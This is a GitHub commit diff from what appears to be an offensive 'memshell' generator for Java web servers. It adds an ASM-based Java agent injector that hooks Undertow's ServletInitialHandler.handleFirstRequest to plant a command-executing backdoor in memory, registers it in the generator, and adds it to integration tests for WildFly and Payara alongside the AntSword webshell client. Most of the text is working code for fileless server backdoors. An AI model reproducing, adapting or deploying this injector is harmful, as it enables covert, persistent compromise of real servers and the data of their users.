Skip to content

Commit 255bfbd

Browse files
committed
feat: support undertow agent with asm (#51)
1 parent 415eaa7 commit 255bfbd

File tree

13 files changed

+353
-14
lines changed

13 files changed

+353
-14
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/Server.java

+1
Original file line numberDiff line numberDiff line change
@@ -232,6 +232,7 @@ public enum Server {
232232
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE_ASM, CommandFilterChainAsmMethodVisitor.class)
233233
.addShellClass(JETTY_AGENT_HANDLER, CommandHandlerAdvisor.class)
234234
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class)
235+
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, CommandServerInitialHandlerAsmMethodVisitor.class)
235236
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class)
236237
.addShellClass(WAS_AGENT_FILTER_MANAGER, CommandFilterChainAdvisor.class)
237238
.build());

generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java

+4-2
Original file line numberDiff line numberDiff line change
@@ -19,13 +19,15 @@ public class ShellType {
1919
public static final String NETTY_HANDLER = "NettyHandler";
2020

2121
public static final String AGENT = "Agent";
22+
public static final String ASM = "ASM";
2223

2324
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
24-
public static final String AGENT_FILTER_CHAIN_ASM = AGENT + "FilterChainASM";
25+
public static final String AGENT_FILTER_CHAIN_ASM = AGENT + "FilterChain" + ASM;
2526
public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
26-
public static final String CATALINA_AGENT_CONTEXT_VALVE_ASM = AGENT + "ContextValveASM";
27+
public static final String CATALINA_AGENT_CONTEXT_VALVE_ASM = AGENT + "ContextValve" + ASM;
2728
public static final String JETTY_AGENT_HANDLER = AGENT + "Handler";
2829
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
30+
public static final String UNDERTOW_AGENT_SERVLET_HANDLER_ASM = AGENT + "ServletHandler" + ASM;
2931
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
3032
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
3133

generator/src/main/java/com/reajason/javaweb/memshell/server/UndertowShell.java

+2-4
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,6 @@
11
package com.reajason.javaweb.memshell.server;
22

3-
import com.reajason.javaweb.memshell.injector.undertow.UndertowFilterInjector;
4-
import com.reajason.javaweb.memshell.injector.undertow.UndertowListenerInjector;
5-
import com.reajason.javaweb.memshell.injector.undertow.UndertowServletInitialHandlerAgentInjector;
6-
import com.reajason.javaweb.memshell.injector.undertow.UndertowServletInjector;
3+
import com.reajason.javaweb.memshell.injector.undertow.*;
74
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
85
import net.bytebuddy.asm.Advice;
96
import net.bytebuddy.implementation.bytecode.assign.Assigner;
@@ -48,6 +45,7 @@ public InjectorMapping getShellInjectorMapping() {
4845
.addInjector(LISTENER, UndertowListenerInjector.class)
4946
.addInjector(JAKARTA_LISTENER, UndertowListenerInjector.class)
5047
.addInjector(UNDERTOW_AGENT_SERVLET_HANDLER, UndertowServletInitialHandlerAgentInjector.class)
48+
.addInjector(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, UndertowServletInitialHandlerAgentWithAsmInjector.class)
5149
.build();
5250
}
5351
}

integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java

+1-1
Original file line numberDiff line numberDiff line change
@@ -60,7 +60,7 @@ static Stream<Arguments> casesProvider() {
6060
List<String> supportedShellTypes = List.of(
6161
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
6262
ShellType.AGENT_FILTER_CHAIN,
63-
// ShellType.AGENT_FILTER_CHAIN_ASM,
63+
// ShellType.AGENT_FILTER_CHAIN_ASM, 内置了 asm 但是版本太低
6464
ShellType.CATALINA_AGENT_CONTEXT_VALVE
6565
// ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
6666
);

integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java

+5-1
Original file line numberDiff line numberDiff line change
@@ -51,7 +51,11 @@ public class Payara5201ContainerTest {
5151

5252
static Stream<Arguments> casesProvider() {
5353
Server server = Server.Payara;
54-
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
54+
List<String> supportedShellTypes = List.of(
55+
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
56+
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE
57+
// ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM // 内置了 ASM,但是版本较低,是 7 版本不兼容
58+
);
5559
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize, Packers.ScriptEngine);
5660
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
5761
}

integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java

+5-1
Original file line numberDiff line numberDiff line change
@@ -51,7 +51,11 @@ public class Payara520225ContainerTest {
5151

5252
static Stream<Arguments> casesProvider() {
5353
Server server = Server.Payara;
54-
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
54+
List<String> supportedShellTypes = List.of(
55+
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
56+
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE,
57+
ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
58+
);
5559
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize, Packers.ScriptEngine);
5660
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
5761
}

integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java

+5-1
Original file line numberDiff line numberDiff line change
@@ -51,7 +51,11 @@ public class Payara620222ContainerTest {
5151

5252
static Stream<Arguments> casesProvider() {
5353
Server server = Server.Payara;
54-
List<String> supportedShellTypes = List.of(ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
54+
List<String> supportedShellTypes = List.of(
55+
ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE,
56+
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE,
57+
ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
58+
);
5559
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
5660
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
5761
}

integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java

+5-1
Original file line numberDiff line numberDiff line change
@@ -51,7 +51,11 @@ public class Wildfly18ContainerTest {
5151

5252
static Stream<Arguments> casesProvider() {
5353
Server server = Server.Undertow;
54-
List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.UNDERTOW_AGENT_SERVLET_HANDLER);
54+
List<String> supportedShellTypes = List.of(
55+
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
56+
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER,
57+
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER_ASM
58+
);
5559
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX);
5660
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
5761
}

integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java

+5-1
Original file line numberDiff line numberDiff line change
@@ -51,7 +51,11 @@ public class Wildfly23ContainerTest {
5151

5252
static Stream<Arguments> casesProvider() {
5353
Server server = Server.Undertow;
54-
List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.UNDERTOW_AGENT_SERVLET_HANDLER);
54+
List<String> supportedShellTypes = List.of(
55+
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
56+
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER,
57+
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER_ASM
58+
);
5559
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX);
5660
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
5761
}

integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly30ContainerTest.java

+5-1
Original file line numberDiff line numberDiff line change
@@ -51,7 +51,11 @@ public class Wildfly30ContainerTest {
5151

5252
static Stream<Arguments> casesProvider() {
5353
Server server = Server.Undertow;
54-
List<String> supportedShellTypes = List.of(ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.UNDERTOW_AGENT_SERVLET_HANDLER);
54+
List<String> supportedShellTypes = List.of(
55+
ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER,
56+
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER,
57+
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER_ASM
58+
);
5559
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX);
5660
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
5761
null, List.of(ShellTool.AntSword) // AntSword not support jakarta

integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java

+5-1
Original file line numberDiff line numberDiff line change
@@ -55,7 +55,11 @@ public class Wildfly9ContainerTest {
5555

5656
static Stream<Arguments> casesProvider() {
5757
Server server = Server.Undertow;
58-
List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.UNDERTOW_AGENT_SERVLET_HANDLER);
58+
List<String> supportedShellTypes = List.of(
59+
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
60+
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER,
61+
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER_ASM
62+
);
5963
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.ScriptEngine);
6064
List<Triple<String, ShellTool, Packers>> unSupportedCases = List.of(
6165
Triple.of(ShellType.UNDERTOW_AGENT_SERVLET_HANDLER, ShellTool.AntSword, Packers.AgentJar) // Request ClassNotFound in module
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,99 @@
1+
package com.reajason.javaweb.memshell.injector.undertow;
2+
3+
import org.objectweb.asm.*;
4+
5+
import java.lang.instrument.ClassFileTransformer;
6+
import java.lang.instrument.Instrumentation;
7+
import java.lang.reflect.Constructor;
8+
import java.security.ProtectionDomain;
9+
10+
/**
11+
* @author ReaJason
12+
* @since 2025/3/26
13+
*/
14+
public class UndertowServletInitialHandlerAgentWithAsmInjector implements ClassFileTransformer {
15+
private static final String TARGET_CLASS = "io/undertow/servlet/handlers/ServletInitialHandler";
16+
private static final String TARGET_METHOD_NAME = "handleFirstRequest";
17+
18+
static Constructor<?> constructor = null;
19+
20+
static {
21+
try {
22+
Class<?> clazz = Class.forName(getClassName());
23+
constructor = clazz.getConstructors()[0];
24+
constructor.setAccessible(true);
25+
} catch (Exception e) {
26+
e.printStackTrace();
27+
}
28+
}
29+
30+
public UndertowServletInitialHandlerAgentWithAsmInjector() {
31+
}
32+
33+
@Override
34+
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
35+
ProtectionDomain protectionDomain, byte[] bytes) {
36+
if (TARGET_CLASS.equals(className)) {
37+
try {
38+
ClassReader cr = new ClassReader(bytes);
39+
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
40+
@Override
41+
protected ClassLoader getClassLoader() {
42+
return loader;
43+
}
44+
};
45+
ClassVisitor cv = getClassVisitor(cw);
46+
cr.accept(cv, ClassReader.EXPAND_FRAMES);
47+
return cw.toByteArray();
48+
} catch (Exception e) {
49+
e.printStackTrace();
50+
}
51+
}
52+
return bytes;
53+
}
54+
55+
public static String getClassName() {
56+
return "{{advisorName}}";
57+
}
58+
59+
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
60+
return new ClassVisitor(Opcodes.ASM9, cv) {
61+
@Override
62+
public MethodVisitor visitMethod(int access, String name, String descriptor,
63+
String signature, String[] exceptions) {
64+
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
65+
System.out.println(name);
66+
if (TARGET_METHOD_NAME.equals(name)) {
67+
try {
68+
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
69+
System.out.println(argumentTypes.length);
70+
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
71+
} catch (Exception e) {
72+
e.printStackTrace();
73+
}
74+
}
75+
return mv;
76+
}
77+
};
78+
}
79+
80+
public static void premain(String args, Instrumentation inst) throws Exception {
81+
launch(inst);
82+
}
83+
84+
public static void agentmain(String args, Instrumentation inst) throws Exception {
85+
launch(inst);
86+
}
87+
88+
private static void launch(Instrumentation inst) throws Exception {
89+
System.out.println("MemShell Agent is starting");
90+
inst.addTransformer(new UndertowServletInitialHandlerAgentWithAsmInjector(), true);
91+
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
92+
String name = allLoadedClass.getName();
93+
if (TARGET_CLASS.replace("/", ".").equals(name)) {
94+
inst.retransformClasses(allLoadedClass);
95+
}
96+
}
97+
System.out.println("MemShell Agent is working at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest");
98+
}
99+
}

0 commit comments

Comments
 (0)